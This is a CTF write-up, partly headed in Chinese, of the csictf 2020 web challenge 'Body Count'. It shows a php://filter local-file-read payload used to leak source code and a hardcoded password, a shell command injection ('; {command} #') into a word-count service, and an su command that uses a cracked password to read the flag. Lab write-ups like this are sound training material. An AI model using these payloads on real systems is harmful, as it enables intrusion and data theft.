

Body Count

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WriteUp来源

<https://dunsp4rce.github.io/csictf-2020/web/2020/07/21/Body-Count.html>

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题目描述

Here's a character count service for you!

题目考点

解题思路

On observing, there's a cookie called password with value as PASSWORD.

Finding value of password cookie

On going to robots.txt, the file checkpass.php is disallowed. To view this file, we can make use of php inbuilt. <http://chall.csivit.com:30202/?file=php://filter/convert.base64-encode/resource=checkpass.php>. This returns a base64 encoding of checkpass.php.

checkpass.php

```
1 <?php
2 $password = "w0rdc0unt123";
3 // Cookie password.
4 echo "IMPORTANT!!! The page is still under development. This has a secret, do not push this page.";
5 header('Location: /');
```

Thus, the password is w0rdc0unt123. Setting this as the cookie value sets a new webpage.

Finding how word count is executed and accessing shell

This first needs access to the contents of wc.php. <http://chall.csivit.com:30202/?file=php://filter/convert.base64-encode/resource=wc.php>.

wc.php

```
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4   <meta charset="UTF-8">
5   <meta name="viewport" content="width=device-width, initial-scale=1.0">
6   <meta http-equiv="X-UA-Compatible" content="ie=edge">
7   <title>wc as a service</title>
8   <style>
9     html,
10     body {
11       overflow: none;
12       max-height: 100vh;
13     }
14   </style>
15 </head>
16 <body style="height: 100vh; text-align: center; background-color: black; color: white; display: flex; flex-direction: column; justify-content: center;">
17   <?php
18     ini_set('max_execution_time', 5);
19     if ($_COOKIE['password'] !== getenv('PASSWORD')) {
20       setcookie('password', 'PASSWORD');
21       die('Sorry, only people from csivit are allowed to access this page.');
```

The command is executed as `printf '{text}' | wc -c`. This can be exploited by passing the value of text as `' ; {command} #` where command can be any linux shell command.

This basically

- closes the quotes on printf
- adding ; for a new command
- adding # to comment the rest of the line

However, this only prints the last line of result of command. This can be worked around with by appending `| head n1` to the command which enables to view first line instead and changing the head parameter can view every result line by line.

Locating flag

This can be done with the find command

```
1 find / -iname "**flag*"
```

This return the location of the flag as /ctf/system/of/a/down/flag.txt. However, trying to cat this file fails. The reason why can be seen on executing

```
1 ls -l /ctf/system/of/a/down/flag.txt
```

The file doesn't allow any user other than root and ctf to view the file. Thus this needs the password of root or ctf.

On further searching of the entire file system, a file /ctf/README can be found. Viewing this file returns

```
1 My password hash is 6f246c872cbf0b7fd7530b7aa235e67e.
```

With a few reversing attempts, the original string resulting in this hash is csictf.

Running the cat command as the user ctf returns the flag.

```
1 echo "csictf" | su ctf -c "cat /ctf/system/of/a/down/flag.txt"
```

Flag

```
1 csictf{1nj3ct10n_15_p41nful}
```

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